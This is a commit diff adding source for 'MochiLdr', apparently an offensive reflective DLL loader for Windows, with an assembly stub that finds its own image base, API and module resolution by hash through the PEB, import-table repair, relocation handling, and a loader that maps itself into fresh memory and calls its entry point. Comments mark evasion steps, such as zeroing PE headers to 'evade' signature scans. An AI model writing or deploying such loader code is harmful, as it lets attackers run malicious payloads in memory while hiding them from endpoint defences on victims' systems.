This commit is contained in:
mocha
2025-11-23 16:27:33 +01:00
parent 86926fac34
commit 48e8478abb
12 changed files with 2524 additions and 1 deletions
+39
View File
@@ -0,0 +1,39 @@
; Author: mochabyte
; Inspired from: Paul Ungur (5pider), Austin Hudson (@ilove2pwn_), Chetan Nayak (@NinjaParanoid), Bobby Cooke (@0xBoku), @trickster012
option casemap:none
PUBLIC MochiCaller
.code
MochiCaller PROC
call get_base
nop
get_base:
pop rcx
xchg rsi, rsi
lea r8, [rcx] ; Random Obfuscation
xor ebx, ebx
mov bx, 5A4Dh ; "MZ" Header
nop
mov r9, r9
xor edx, edx
mov dx, 4550h ; "PE" Header
scan_mz:
dec rcx
nop
cmp word ptr [rcx], bx
jne scan_mz
mov eax, dword ptr [rcx + 3Ch] ; e_lfanew value
lea rax, [rcx + rax]
xchg r10, r10
cmp word ptr [rax], dx
jne scan_mz
mov rax, rcx
xchg r11, r11
ret
MochiCaller ENDP
END
+327
View File
@@ -0,0 +1,327 @@
#include "include/MochiLdr.h"
// Hashing function taken from VX-API
UINT32 JKOAAT_W(_In_ LPCWSTR String) {
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = ldr_wcslen(String);
while (Index != Length)
{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;
return Hash;
}
// This too
UINT32 JKOAAT_A(_In_ PCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = ldr_strlen(String);
while (Index != Length)
{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;
return Hash;
}
// LoadLibrary alternative
PVOID MLoadLibrary(PFUNCS funcs, LPSTR ModuleName)
{
if (!ModuleName)
return NULL;
UNICODE_STRING UnicodeString = { 0 };
WCHAR ModuleNameW[MAX_PATH] = { 0 };
DWORD dwModuleNameSize = MStringLengthA(ModuleName);
HMODULE Module = NULL;
NTSTATUS status = 0;
MCharStringToWCharString(ModuleNameW, ModuleName, dwModuleNameSize);
ModuleNameW[dwModuleNameSize] = L'\0';
USHORT DestSize = MStringLengthW(ModuleNameW) * sizeof(WCHAR);
UnicodeString.Length = DestSize;
UnicodeString.MaximumLength = DestSize + sizeof(WCHAR);
UnicodeString.Buffer = ModuleNameW;
status = funcs->Api.LoadDll(NULL, 0, &UnicodeString, &Module);
if (NT_SUCCESS(status)) {
return Module;
}
else {
return NULL;
}
}
PVOID GetPrcAddr(HMODULE hHandle, DWORD dwHashValue, WORD wOrdinal)
{
if (!hHandle || (!dwHashValue && !wOrdinal))
return NULL;
BYTE* base = (BYTE*)hHandle;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_DATA_DIRECTORY dir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!dir->VirtualAddress || !dir->Size)
return NULL;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(base + dir->VirtualAddress);
DWORD* funcRVAs = (DWORD*)(base + exp->AddressOfFunctions);
// Resolve by ordinal
if (wOrdinal) {
if (wOrdinal < exp->Base || wOrdinal >= exp->Base + exp->NumberOfFunctions)
return NULL;
DWORD rva = funcRVAs[wOrdinal - exp->Base];
return (FARPROC)(base + rva);
}
// Resolve by hash
DWORD* nameRVAs = (DWORD*)(base + exp->AddressOfNames);
WORD* ordinals = (WORD*)(base + exp->AddressOfNameOrdinals);
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
const char* name = (const char*)(base + nameRVAs[i]);
if (Hash_A(name) == dwHashValue) {
DWORD rva = funcRVAs[ordinals[i]];
return (FARPROC)(base + rva);
}
}
return NULL;
}
HMODULE GetModHandle(IN UINT32 uModuleHash) {
PTEB pTeb = { 0 };
PPEB pPeb = { 0 };
PPEB_LDR_DATA pLdr = { 0 };
PLIST_ENTRY pDataEntries = { 0 };
WCHAR cLowerCase[MAX_PATH / 2],
cUpperCase[MAX_PATH / 2];
// First we need to get the TEB which contains a pointer to the PEB structure
//The TEB is located at the offset of 0x30 in the GS register for 64-bit and at the offset of 0x18 in the FS register for 32-bit
#ifdef _WIN64
pTeb = (PTEB)__readgsqword(0x30);
pPeb = (PVOID)pTeb->ProcessEnvironmentBlock;
if (pPeb == NULL)
return -1;
#elif _WIN32
pTeb = (PTEB)__readfsdword(0x18);
pPeb = pTeb->ProcessEnvironmentBlock;
if (pPeb == NULL)
return -1;
#endif
// If "lpModuleName", we give a handle to its own process (Like the real GetModuleHandle would do).
if (uModuleHash == NULL) {
return (HMODULE)pPeb->ImageBaseAddress; // By using the complete PEB struct def you can access "ImageBaseAddress".
}
// Now we can get to the LDR_DATA struct which contains all loaded modules
pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
// Now getting a pointer to the InMemoryOrderModuleList struct
// From what I've read this is some kind of doubly linked list. Each item in this list contains another list (which I blieve are LDR_DATA_TABLE_ENTRY structs) basically.
// This points to the very first entry
pDataEntries = &pLdr->InMemoryOrderModuleList;
PLIST_ENTRY pFirstEntry = pDataEntries->Flink;
// Now we can move through the "InMemoryOrderModuleList" and get all the modules that are loaded
for (LIST_ENTRY* leEntry = pFirstEntry; leEntry != pDataEntries; leEntry = leEntry->Flink) {
LDR_DATA_TABLE_ENTRY* CurrentEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)leEntry - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));
// Since we don't know if the hash that is being passed has been made by a lowercase or uppercase input, we need to convert the DLL name into both formats
// We loop through each character and convert it
for (USHORT i = 0; i < CurrentEntry->BaseDllName.Length / sizeof(WCHAR); i++) {
cLowerCase[i] = (WCHAR)ldr_tolower((int)CurrentEntry->BaseDllName.Buffer[i]);
cUpperCase[i] = (WCHAR)ldr_toupper((int)CurrentEntry->BaseDllName.Buffer[i]);
}
// We add the termination
cLowerCase[CurrentEntry->BaseDllName.Length / sizeof(WCHAR)] = L'\0';
cUpperCase[CurrentEntry->BaseDllName.Length / sizeof(WCHAR)] = L'\0';
// We can now comparre the current the hashes and check for a match
if (uModuleHash == Hash_W(cLowerCase)) {
return (HMODULE)CurrentEntry->DllBase;
break;
}
if (uModuleHash == Hash_W(cUpperCase)) {
return (HMODULE)CurrentEntry->DllBase;
break;
}
}
}
SIZE_T StringLengthA(IN LPCSTR String) {
LPCSTR String2;
for (String2 = String; *String2; ++String2);
return (String2 - String);
}
BOOL RepairIAT(PFUNCS Functions, PBYTE MochiImage, LPVOID IatDir) {
PIMAGE_THUNK_DATA OriginalTD = NULL;
PIMAGE_THUNK_DATA FirstTD = NULL;
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = NULL;
PIMAGE_IMPORT_BY_NAME pImportByName = NULL;
PCHAR ImportModuleName = NULL;
HMODULE ImportModule = NULL;
for (pImportDescriptor = IatDir; pImportDescriptor->Name != 0; ++pImportDescriptor)
{
ImportModuleName = MochiImage + pImportDescriptor->Name;
ImportModule = MLoadLibrary(Functions, ImportModuleName);
if (!ImportModule) {
return FALSE;
}
OriginalTD = MochiImage + pImportDescriptor->OriginalFirstThunk;
FirstTD = MochiImage + pImportDescriptor->FirstThunk;
for (; OriginalTD->u1.AddressOfData != 0; ++OriginalTD, ++FirstTD)
{
if (IMAGE_SNAP_BY_ORDINAL(OriginalTD->u1.Ordinal))
{
PVOID Function = GetPrcAddr(ImportModule, 0, IMAGE_ORDINAL(OriginalTD->u1.Ordinal));
if (Function != NULL)
FirstTD->u1.Function = Function;
else {
return FALSE;
}
}
else
{
pImportByName = MochiImage + OriginalTD->u1.AddressOfData;
DWORD FunctionHash = Hash_A(pImportByName->Name);
LPVOID Function = GetPrcAddr(ImportModule, FunctionHash, 0);
if (Function != NULL)
FirstTD->u1.Function = Function;
else {
return FALSE;
}
}
}
}
return TRUE;
}
typedef struct _BASE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
BOOL FixReloc(IN PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, IN ULONG_PTR pPeBaseAddress, IN ULONG_PTR pPreferableAddress) {
// Guard against missing relocation directory
if (!pEntryBaseRelocDataDir->VirtualAddress || !pEntryBaseRelocDataDir->Size)
return TRUE;
// Pointer to the beginning of the base relocation block.
PIMAGE_BASE_RELOCATION pImgBaseRelocation = (pPeBaseAddress + pEntryBaseRelocDataDir->VirtualAddress);
// The difference between the current PE image base address and its preferable base address.
ULONG_PTR uDeltaOffset = pPeBaseAddress - pPreferableAddress;
// Pointer to individual base relocation entries.
PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL;
// Iterate through all the base relocation blocks.
while (pImgBaseRelocation->VirtualAddress) {
// Pointer to the first relocation entry in the current block.
pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgBaseRelocation + 1);
// Iterate through all the relocation entries in the current block.
while ((PBYTE)pBaseRelocEntry != (PBYTE)pImgBaseRelocation + pImgBaseRelocation->SizeOfBlock) {
// Process the relocation entry based on its type.
switch (pBaseRelocEntry->Type) {
case IMAGE_REL_BASED_DIR64:
// Adjust a 64-bit field by the delta offset.
*((ULONG_PTR*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += uDeltaOffset;
break;
case IMAGE_REL_BASED_HIGHLOW:
// Adjust a 32-bit field by the delta offset.
*((DWORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)uDeltaOffset;
break;
case IMAGE_REL_BASED_HIGH:
// Adjust the high 16 bits of a 32-bit field.
*((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(uDeltaOffset);
break;
case IMAGE_REL_BASED_LOW:
// Adjust the low 16 bits of a 32-bit field.
*((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(uDeltaOffset);
break;
case IMAGE_REL_BASED_ABSOLUTE:
// No relocation is required.
break;
default:
// Unknown relocation types.
return FALSE;
}
// Move to the next relocation entry.
pBaseRelocEntry++;
}
// Move to the next relocation block.
pImgBaseRelocation = (PIMAGE_BASE_RELOCATION)pBaseRelocEntry;
}
return TRUE;
}
+154
View File
@@ -0,0 +1,154 @@
/*
Author: Mochabyte
Date: 22.11.2025
Inspired by: 5pider, Bobby Cooke, Maldev Academy
*/
#include "include/MochiLdr.h"
DLLEXPORT VOID MochiLdr() {
HMODULE MochiLoader = NULL;
FUNCS Functions = { 0 };
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADERS pNtHeaders;
ULONG_PTR uiBaseAddress;
SIZE_T MochiMemorySize = 0;
LPVOID MochiNewMemory = NULL;
PIMAGE_SECTION_HEADER MochiSectionHeader = NULL;
PVOID SecMemory = NULL;
SIZE_T SecMemorySize = 0;
DWORD Protection = 0;
ULONG OldProtection = 0;
PIMAGE_DATA_DIRECTORY MochiEntryImportDataDir;
PIMAGE_NT_HEADERS pNewNtHeaders = NULL;
// 1. Getting the image base addr of our DLL
MochiLoader = MochiCaller();
// 2. Loading all modules and WinAPIs
Functions.Modules.Ntdll = GetModHandle(Ntdll_HASH);
Functions.Modules.Kernel32 = GetModHandle(Kernel32_HASH);
Functions.Api.AllocMem = GetPrcAddr(Functions.Modules.Ntdll, NtAllocMem_HASH, 0);
Functions.Api.ProtectMem = GetPrcAddr(Functions.Modules.Ntdll, NtProtectMem_HASH, 0);
Functions.Api.LoadDll = GetPrcAddr(Functions.Modules.Ntdll, LdrLoadDll_HASH, 0);
Functions.Api.FlushInstruct = GetPrcAddr(Functions.Modules.Ntdll, NtFlushInstruct_HASH, 0);
Functions.Api.AddFuncTbl = GetPrcAddr(Functions.Modules.Kernel32, AddFuncTable_HASH, 0);
// Getting to the NT headers of the PE to be loaded
pDOSHeader = (PIMAGE_DOS_HEADER)MochiLoader;
pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pDOSHeader + pDOSHeader->e_lfanew);
MochiMemorySize = pNtHeaders->OptionalHeader.SizeOfImage;
// 3. Allocating memory for the new PE
if (NT_SUCCESS(Functions.Api.AllocMem(NtCurrentProcess(), &MochiNewMemory, 0, &MochiMemorySize, MEM_COMMIT, PAGE_READWRITE))) {
// First, copying the PE headers
ldr_memcpy(MochiNewMemory, MochiLoader, pNtHeaders->OptionalHeader.SizeOfHeaders);
// Copying the sections into that new memory section
MochiSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
for (DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
PIMAGE_SECTION_HEADER sec = &MochiSectionHeader[i];
if (!sec->SizeOfRawData)
continue;
BYTE* dst = (PBYTE)MochiNewMemory + sec->VirtualAddress;
BYTE* src = (BYTE*)MochiLoader + sec->PointerToRawData;
ldr_memcpy(dst, src, sec->SizeOfRawData);
}
// Get NT headers from the new memory location
pNewNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)MochiNewMemory + ((PIMAGE_DOS_HEADER)MochiNewMemory)->e_lfanew);
// 4. Now handling IAT repairing
MochiEntryImportDataDir = &pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (MochiEntryImportDataDir->VirtualAddress && MochiEntryImportDataDir->Size) {
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)MochiNewMemory + MochiEntryImportDataDir->VirtualAddress);
if (!RepairIAT(&Functions, (PBYTE)MochiNewMemory, pImportDesc)) {
return NULL;
}
}
// 5. Doing relocations
if (!FixReloc(&pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC], MochiNewMemory, pNewNtHeaders->OptionalHeader.ImageBase)) {
return NULL;
}
// 6. Fixing memory perms
for (DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
SecMemory = ((PBYTE)MochiNewMemory + MochiSectionHeader[i].VirtualAddress);
SecMemorySize = MochiSectionHeader[i].SizeOfRawData;
Protection = PAGE_NOACCESS;
OldProtection = 0;
DWORD Characteristics = MochiSectionHeader[i].Characteristics;
BOOL isRead = (Characteristics & IMAGE_SCN_MEM_READ) != 0;
BOOL isWrite = (Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
BOOL isExecute = (Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
if (isExecute && isWrite && isRead)
Protection = PAGE_EXECUTE_READWRITE;
else if (isExecute && isRead)
Protection = PAGE_EXECUTE_READ;
else if (isExecute && isWrite)
Protection = PAGE_EXECUTE_WRITECOPY;
else if (isExecute)
Protection = PAGE_EXECUTE;
else if (isWrite && isRead)
Protection = PAGE_READWRITE;
else if (isRead)
Protection = PAGE_READONLY;
else if (isWrite)
Protection = PAGE_WRITECOPY;
Functions.Api.ProtectMem(NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection);
}
// Opsec: zero out PE headers to "evade" signature scans
ldr_memset(MochiNewMemory, 0, sizeof(IMAGE_DOS_HEADER) + 0x40);
// 7. Handling Exception handlers
if (pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size) {
PIMAGE_RUNTIME_FUNCTION_ENTRY pRuntimeFunc = (PIMAGE_RUNTIME_FUNCTION_ENTRY)((PBYTE)MochiNewMemory + pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
Functions.Api.AddFuncTbl(pRuntimeFunc, (pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size / sizeof(RUNTIME_FUNCTION)) -1 , (DWORD64)MochiNewMemory);
}
// 8. TLS Callbacks
if (pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size) {
// Retrieve the address of the TLS Directory.
PIMAGE_TLS_DIRECTORY pImgTlsDirectory = (PIMAGE_TLS_DIRECTORY)((PBYTE)MochiNewMemory + pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
// Get the address of the TLS Callbacks from the TLS Directory.
PIMAGE_TLS_CALLBACK* pImgTlsCallback = (PIMAGE_TLS_CALLBACK*)(pImgTlsDirectory->AddressOfCallBacks);
CONTEXT pCtx = { 0x00 };
// Iterate through and invoke each TLS Callback until a NULL callback is encountered.
for (; *pImgTlsCallback; pImgTlsCallback++)
(*pImgTlsCallback)((LPVOID)MochiNewMemory, DLL_PROCESS_ATTACH, &pCtx);
}
// 9. Flush instruction cache
Functions.Api.FlushInstruct((HANDLE)-1, NULL, 0x00);
// 10. Executing the PE
BOOL(WINAPI* MochiDllMain) (PVOID, DWORD, PVOID) = (PBYTE)MochiNewMemory + pNewNtHeaders->OptionalHeader.AddressOfEntryPoint;
MochiDllMain((HMODULE)MochiNewMemory, DLL_PROCESS_ATTACH, NULL);
}
}
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.14.36301.6 d17.14
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MochiLdrV2", "MochiLdrV2.vcxproj", "{28880C7D-298F-46C4-8225-13008459E14D}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{28880C7D-298F-46C4-8225-13008459E14D}.Debug|x64.ActiveCfg = Debug|x64
{28880C7D-298F-46C4-8225-13008459E14D}.Debug|x64.Build.0 = Debug|x64
{28880C7D-298F-46C4-8225-13008459E14D}.Debug|x86.ActiveCfg = Debug|Win32
{28880C7D-298F-46C4-8225-13008459E14D}.Debug|x86.Build.0 = Debug|Win32
{28880C7D-298F-46C4-8225-13008459E14D}.Release|x64.ActiveCfg = Release|x64
{28880C7D-298F-46C4-8225-13008459E14D}.Release|x64.Build.0 = Release|x64
{28880C7D-298F-46C4-8225-13008459E14D}.Release|x86.ActiveCfg = Release|Win32
{28880C7D-298F-46C4-8225-13008459E14D}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {44D9EED2-0CD2-4F94-BA09-A076D0961E2B}
EndGlobalSection
EndGlobal
+195
View File
@@ -0,0 +1,195 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{28880c7d-298f-46c4-8225-13008459e14d}</ProjectGuid>
<RootNamespace>MochiLdrV2</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>MochiLdr</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;MOCHILDRV2_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<SupportJustMyCode>false</SupportJustMyCode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>DllMain</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;MOCHILDRV2_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<WholeProgramOptimization>false</WholeProgramOptimization>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>DllMain</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>_DEBUG;MOCHILDRV2_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<SupportJustMyCode>false</SupportJustMyCode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>DllMain</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;MOCHILDRV2_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<WholeProgramOptimization>false</WholeProgramOptimization>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>DllMain</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="crt.c" />
<ClCompile Include="dllmain.c" />
<ClCompile Include="Helpers.c" />
<ClCompile Include="MochiLdr.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="include\Crt.h" />
<ClInclude Include="include\MochiLdr.h" />
<ClInclude Include="include\Structs.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="Caller.asm">
<FileType>Document</FileType>
</MASM>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
+47
View File
@@ -0,0 +1,47 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="MochiLdr.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="crt.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Helpers.c">
<Filter>Source Files</Filter>
</ClCompile>
